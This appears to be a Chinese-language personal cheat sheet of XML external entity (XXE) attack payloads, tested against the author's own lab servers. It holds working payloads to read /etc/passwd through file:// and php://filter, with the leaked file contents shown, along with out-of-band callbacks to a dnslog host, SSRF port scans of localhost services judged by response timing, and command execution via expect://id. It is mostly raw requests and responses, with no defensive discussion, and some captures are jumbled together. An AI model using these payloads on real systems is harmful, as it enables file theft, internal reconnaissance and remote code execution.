

# XXE\_Payload

## test

```
<?xml version="1.0" encoding="UTF-8"?>
<site>
  <name>ming</name>
</site>
```

## 读取

file协议读取/etc/passwd

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
```

Pretty	Raw	Hex	Pretty	Raw	Hex	Render
1 GET /dom.php HTTP/1.1			38 [ownerDocument] =>			
2 Host: 192.168.136.147:8080			39 [namespaceURI] =>			
3 Cache-Control: max-age=0			40 [prefix] =>			
4 Upgrade-Insecure-Requests: 1			41 [localName] =>			
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)			42 [baseURI] => /var/www/html/			
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0			43 [textContent] =>			
Safari/537.36			44 root:x:0:0:root:/root:/bin/bash			
6 Accept:			45 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin			
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, ima			46 bin:x:2:2:bin:/bin:/usr/sbin/nologin			
ge/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.7			47 sys:x:3:3:sys:/dev:/usr/sbin/nologin			
7 Accept-Encoding: gzip, deflate			48 sync:x:4:65534:sync:/bin:/bin/sync			
8 Accept-Language: zh-CN, zh;q=0.9			49 games:x:5:60:games:/usr/games:/usr/sbin/nologin			
9 Connection: close			50 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin			
0 Content-Length: 138			51 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin			
1			52 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin			
2 <?xml version="1.0" encoding="utf-8"?>			53 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin			
3 <!DOCTYPE root[			54 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin			
4 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>			55 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin			
5 <root>			56 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin			
6 <name>			57 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin			
&xxe;			58 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin			
</name>			59 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin			
7 </root>			60 gnats:x:41:41:Gnats Bug-Reporting System			
			(admin):/var/lib/gnats:/usr/sbin/nologin			
			61 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin			
			62 _apt:x:100:65534::/nonexistent:/bin/false			
			63			

filter协议读取/etc/passwd

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=resource=/etc/passwd"> ]>
<root>
<name>&xxe;</name>
</root>
```

filter协议 base64加密 读取/etc/passwd

```
1 GET /dom.php HTTP/1.1
2 Host: 192.168.136.147:8080
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
6 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0
7 Safari/537.36
8 Accept:
9
10 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11
12 Accept-Encoding: gzip, deflate
13 Accept-Language: zh-CN,zh;q=0.9
14 Connection: close
15 Content-Length: 180
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36 [nextSibling] =>
37 [attributes] =>
38 [ownerDocument] =>
39 [nameSpaceURI] =>
40 [prefix] =>
41 [localName] =>
42 [baseURI] => /var/www/html/
43 [textContent] =>
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```

## xxe dnslog

```
<?xml version="1.0"?>

<!DOCTYPE ANY [

    <!ENTITY content SYSTEM "http://ip:port">]>

<name>&content;</name>
```

<pre> 1 POST /doLogin.php HTTP/1.1 2 Host: ming.com 3 Content-Length: 126 4 Accept: application/xml, text/xml, */*; q=0.01 5 X-Requested-With: XMLHttpRequest 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0   Safari/537.36 7 Content-Type: application/xml;charset=UTF-8 8 Origin: http://ming.com 9 Referer: http://ming.com/ 10 Accept-Encoding: gzip, deflate 11 Accept-Language: zh-CN,zh;q=0.9 12 Connection: close 13 14 &lt;?xml version="1.0"?&gt; 15 16 &lt;!DOCTYPE ANY [ 17 18 &lt;!ENTITY content SYSTEM "http://gvqy7m.dnslog.cn"&gt;]]&gt; 19 20 &lt;name&gt;   &amp;content; &lt;/name&gt; </pre>	<pre> 1 HTTP/1.1 200 OK 2 Date: Mon, 13 Feb 2023 04:07:21 GMT 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b   mod_log_rotate/1.02 4 X-Powered-By: PHP/7.3.4 5 Connection: close 6 Content-Type: text/html; charset=utf-8 7 Content-Length: 3287 8 9 &lt;br /&gt; 10 &lt;b&gt;   Warning &lt;/b&gt; : DOMDocument::loadXML(): StartTag: invalid http://gvqy7m.dnslog.cn, line: 1 in &lt;b&gt;   D:\phpstudy_pro\WWW\doLogin.php &lt;/b&gt; on line &lt;b&gt;   16 &lt;/b&gt; &lt;br /&gt; 11 &lt;br /&gt; 12 &lt;b&gt;   Warning &lt;/b&gt; </pre>
---	--

gvqy7m.dnslog.cn

DNS Query Record	IP Address	Created Time
gvqy7m.dnslog.cn	60.215.138.18	2023-02-13 12:07:22

## xxe ssrf

```

<?xml version="1.0"?>

<!DOCTYPE ANY [

  <!ENTITY content SYSTEM "http://ip:port">]]>

<name>&content;</name>

```

C:\Users\ming>netstat -ano		DNS Query Record	IP Address	Created Time
活动连接		gvqy7m.dnslog.cn	60.215.138.18	2023-02-13 12:07:22
协议	本地地址	外部地址	状态	PID
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	2316
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	1184
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:902	0.0.0.0:0	LISTENING	6000
TCP	0.0.0.0:912	0.0.0.0:0	LISTENING	6000
TCP	0.0.0.0:1026	0.0.0.0:0	LISTENING	972
TCP	0.0.0.0:2179	0.0.0.0:0	LISTENING	2712
TCP	0.0.0.0:3306	xxe ssrf 0.0.0.0:0	LISTENING	3040
TCP	0.0.0.0:3389	0.0.0.0:0	LISTENING	1496
TCP	0.0.0.0:5040	<?xml version="1.0"?>	LISTENING	9336
TCP	0.0.0.0:5357	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:7680	0.0.0.0:0	LISTENING	14288
TCP	0.0.0.0:9128	<!DOCTYPE ANY [	LISTENING	15304
TCP	0.0.0.0:10020	0.0.0.0:0	LISTENING	5392
TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING	1000
TCP	0.0.0.0:49665	<?xml version="1.0"?>	LISTENING	8332
TCP	0.0.0.0:49666	<!ENTITY content SYSTEM "http://ip:port">]]>	LISTENING	2008
TCP	0.0.0.0:49667	0.0.0.0:0	LISTENING	1720
TCP	0.0.0.0:49668	<name>&content;</name>	LISTENING	3384
TCP	0.0.0.0:50455	0.0.0.0:0	LISTENING	4976

22端口

1 POST /doLogin.php HTTP/1.1  
2 Host: ming.com  
3 Content-Length: 122  
4 Accept: application/xml, text/xml, \*/\*; q=0.01  
5 X-Requested-With: XMLHttpRequest  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
7 Content-Type: application/xml; charset=UTF-8  
8 Origin: http://ming.com  
9 Referer: http://ming.com/  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: zh-CN,zh;q=0.9  
12 Connection: close  
13  
14 <?xml version="1.0"?>  
15  
16 <!DOCTYPE ANY [  
17  
18 <!ENTITY content SYSTEM "http://127.0.0.1:22">]  
19  
20 <name>  
21     &content;  
22 </name>

1 HTTP/1.1 200 OK  
2 Date: Mon, 13 Feb 2023 04:29:48 GMT  
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod\_fcgid/2.3.9a mod\_log\_rotate/1.02  
4 X-Powered-By: PHP/7.3.4  
5 Connection: close  
6 Content-Type: text/html; charset=utf-8  
7 Content-Length: 939  
8  
9 <br />  
10 <b>  
    Warning  
    </b>  
    : DOMDocument::loadXML(http://127.0.0.1:22): failed to open stream:  
11 in <b>  
    D:\phpstudy\_pro\WWW\doLogin.php  
    </b>  
    on line <b>  
    16  
    </b>  
    <br />  
12 <br />  
13 <b>  
    Warning  
    </b>  
    : DOMDocument::loadXML(): I/O warning : failed to load external  
    entity &quot;http://127.0.0.1:22&quot;; in <b>  
    D:\phpstudy\_pro\WWW\doLogin.php  
    </b>

Request Query Parameters 0  
Request Cookies 0  
Request Headers 11  
Response Headers 6

one1,183 bytes | 2,035 millis

## 80端口

1 POST /doLogin.php HTTP/1.1  
2 Host: ming.com  
3 Content-Length: 122  
4 Accept: application/xml, text/xml, \*/\*; q=0.01  
5 X-Requested-With: XMLHttpRequest  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
7 Content-Type: application/xml; charset=UTF-8  
8 Origin: http://ming.com  
9 Referer: http://ming.com/  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: zh-CN,zh;q=0.9  
12 Connection: close  
13  
14 <?xml version="1.0"?>  
15  
16 <!DOCTYPE ANY [  
17  
18 <!ENTITY content SYSTEM "http://127.0.0.1:80">]  
19  
20 <name>  
21     &content;  
22 </name>

1 HTTP/1.1 200 OK  
2 Date: Mon, 13 Feb 2023 04:11:41 GMT  
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod\_fcgid/2.3.9a mod\_log\_rotate/1.02  
4 X-Powered-By: PHP/7.3.4  
5 Connection: close  
6 Content-Type: text/html; charset=utf-8  
7 Content-Length: 3231  
8  
9 <br />  
10 <b>  
    Warning  
    </b>  
    : DOMDocument::loadXML(): StartTag: invalid element name in  
    http://127.0.0.1:80, line: 1 in <b>  
    D:\phpstudy\_pro\WWW\doLogin.php  
    </b>  
    on line <b>  
    16  
    </b>  
    <br />  
11 <br />  
12 <b>  
    Warning  
    </b>  
    : DOMDocument::loadXML(): Opening and ending tag mismatch: link  
    line 6 and head in http://127.0.0.1:80, line: 16 in <b>  
    D:\phpstudy\_pro\WWW\doLogin.php  
    </b>  
    on line <b>

Request Attributes 2  
Request Query Parameters 0  
Request Cookies 0  
Request Headers 11  
Response Headers 6

Done3,476 bytes | 4 millis

## 445端口

1 POST /doLogin.php HTTP/1.1  
2 Host: ming.com  
3 Content-Length: 123  
4 Accept: application/xml, text/xml, \*/\*; q=0.01  
5 X-Requested-With: XMLHttpRequest  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
7 Content-Type: application/xml; charset=UTF-8  
8 Origin: http://ming.com  
9 Referer: http://ming.com/  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: zh-CN,zh;q=0.9  
12 Connection: close  
13  
14 <?xml version="1.0"?>  
15  
16 <!DOCTYPE ANY [  
17  
18 <!ENTITY content SYSTEM "http://127.0.0.1:445">]  
19  
20 <name>  
21     &content;  
22 </name>

1 </b>  
    : DOMDocument::loadXML(): I/O warning : failed to load external  
    entity &quot;http://127.0.0.1:445&quot;; in <b>  
    D:\phpstudy\_pro\WWW\doLogin.php  
    </b>  
    on line <b>  
    16  
    </b>  
    <br />  
13 <br />  
14 <b>  
    Warning  
    </b>  
    : DOMDocument::loadXML(): Failure to process entity content in  
    Entity, line: 7 in <b>  
    D:\phpstudy\_pro\WWW\doLogin.php  
    </b>  
    on line <b>  
    16  
    </b>  
    <br />  
15 <br />  
16 <b>  
    Warning  
    </b>  
    : DOMDocument::loadXML(): Entity 'content' not defined in Entity,  
    line: 7 in <b>  
    D:\phpstudy\_pro\WWW\doLogin.php  
    </b>  
    on line <b>

Request Attributes 2  
Request Query Parameters 0  
Request Cookies 0  
Request Headers 11  
Response Headers 6

Done1,127 bytes | 25 millis

## 1433

1 POST /doLogin.php HTTP/1.1  
2 Host: ming.com  
3 Content-Length: 124  
4 Accept: application/xml, text/xml, \*/\*; q=0.01  
5 X-Requested-With: XMLHttpRequest  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
7 Content-Type: application/xml; charset=UTF-8  
8 Origin: http://ming.com  
9 Referer: http://ming.com/  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: zh-CN,zh;q=0.9  
12 Connection: close  
13  
14 <?xml version="1.0"?>  
15  
16 <!DOCTYPE ANY [  
17  
18 <ENTITY content SYSTEM "http://127.0.0.1:1433">]  
19  
20 <name>  
21 &content;  
22 </name>  
23

1 HTTP/1.1 200 OK  
2 Date: Mon, 13 Feb 2023 04:19:38 GMT  
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod\_fcgid/2.3.9a mod\_log\_rotate/1.02  
4 X-Powered-By: PHP/7.3.4  
5 Connection: close  
6 Content-Type: text/html; charset=utf-8  
7 Content-Length: 943  
8  
9 <br />  
10 <b>  
11     Warning  
12     : DOMDocument::loadXML(http://127.0.0.1:1433): failed to open stream:  
13     in <b>  
14         D:\phpstudy\_pro\WWW\doLogin.php  
15     </b>  
16     on line <b>  
17         16  
18     </b>  
19     <br />  
20     <br />  
21     <b>  
22         Warning  
23         : DOMDocument::loadXML(): I/O warning : failed to load external entity &quot;http://127.0.0.1:1433&quot; in <b>  
24             D:\phpstudy\_pro\WWW\doLogin.php  
25         </b>  
26     </b>  
27

Request Query Parameters 0  
Request Cookies 0  
Request Headers 11  
Response Headers 6

0 matches 0 matches

1,187 bytes | 2,021 millis

3306

1 POST /doLogin.php HTTP/1.1  
2 Host: ming.com  
3 Content-Length: 124  
4 Accept: application/xml, text/xml, \*/\*; q=0.01  
5 X-Requested-With: XMLHttpRequest  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
7 Content-Type: application/xml; charset=UTF-8  
8 Origin: http://ming.com  
9 Referer: http://ming.com/  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: zh-CN,zh;q=0.9  
12 Connection: close  
13  
14 <?xml version="1.0"?>  
15  
16 <!DOCTYPE ANY [  
17  
18 <ENTITY content SYSTEM "http://127.0.0.1:3306">]  
19  
20 <name>  
21 &content;  
22 </name>  
23

1 HTTP/1.1 200 OK  
2 Date: Mon, 13 Feb 2023 04:10:02 GMT  
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod\_fcgid/2.3.9a mod\_log\_rotate/1.02  
4 X-Powered-By: PHP/7.3.4  
5 Connection: close  
6 Content-Type: text/html; charset=utf-8  
7 Content-Length: 42  
8  
9 <result>  
10 <code>  
11     0  
12 </code>  
13 <msg>  
14 </msg>  
15 </result>  
16

Request Attributes 2  
Request Query Parameters 0  
Request Cookies 0  
Request Headers 11  
Response Headers 6

0 matches 0 matches

285 bytes | 39 millis

3389

1 POST /doLogin.php HTTP/1.1  
2 Host: ming.com  
3 Content-Length: 124  
4 Accept: application/xml, text/xml, \*/\*; q=0.01  
5 X-Requested-With: XMLHttpRequest  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36  
7 Content-Type: application/xml; charset=UTF-8  
8 Origin: http://ming.com  
9 Referer: http://ming.com/  
10 Accept-Encoding: gzip, deflate  
11 Accept-Language: zh-CN,zh;q=0.9  
12 Connection: close  
13  
14 <?xml version="1.0"?>  
15  
16 <!DOCTYPE ANY [  
17  
18 <ENTITY content SYSTEM "http://127.0.0.1:3389">]  
19  
20 <name>  
21 &content;  
22 </name>  
23

1 HTTP/1.1 200 OK  
2 Date: Mon, 13 Feb 2023 04:14:47 GMT  
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod\_fcgid/2.3.9a mod\_log\_rotate/1.02  
4 X-Powered-By: PHP/7.3.4  
5 Connection: close  
6 Content-Type: text/html; charset=utf-8  
7 Content-Length: 885  
8  
9 <br />  
10 <b>  
11     Warning  
12     : DOMDocument::loadXML(http://127.0.0.1:3389): failed to open stream: HTTP request failed! in <b>  
13         D:\phpstudy\_pro\WWW\doLogin.php  
14     </b>  
15     on line <b>  
16         16  
17     </b>  
18     <br />  
19     <br />  
20     <b>  
21         Warning  
22         : DOMDocument::loadXML(): I/O warning : failed to load external entity &quot;http://127.0.0.1:3389&quot; in <b>  
23             D:\phpstudy\_pro\WWW\doLogin.php  
24         </b>  
25     on line <b>  
26         16  
27     </b>  
28

Request Query Parameters 0  
Request Cookies 0  
Request Headers 11  
Response Headers 6

0 matches 0 matches

1,129 bytes | 44 millis

6379

retty kaw rhex

POST /doLogin.php HTTP/1.1

Host: ming.com

Content-Length: 124

Accept: application/xml, text/xml, \*/\*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Content-Type: application/xml; charset=UTF-8

Origin: http://ming.com

Referer: http://ming.com

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY content SYSTEM "http://127.0.0.1:6379">]

<name>

&content;

</name>

0 matches

0 matches

1,187 bytes | 2,047 millis

```
C:\Users\ming\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Nmap>nmap 192.168.136.147
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 12:28 中国标准时间
Nmap scan report for 192.168.136.147
Host is up (0.0027s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
8080/tcp   open  http-proxy
MAC Address: 00:0C:29:46:3B:BA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
```

GET /dom.php HTTP/1.1

Host: 192.168.136.147:8080

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Length: 122

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY content SYSTEM "http://127.0.0.1:22">]

<name>

&content;

</name>

0 matches

0 matches

1,453 bytes | 1 millis

总结 xxe ssrf探测 端口 如果端口open 那么 millis少

如果端口down 那么 millis多 甚至说是打不开

## xxe RCE

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "expect://id"> ]>
<root>
<name>&xxe;</name>
</root>
```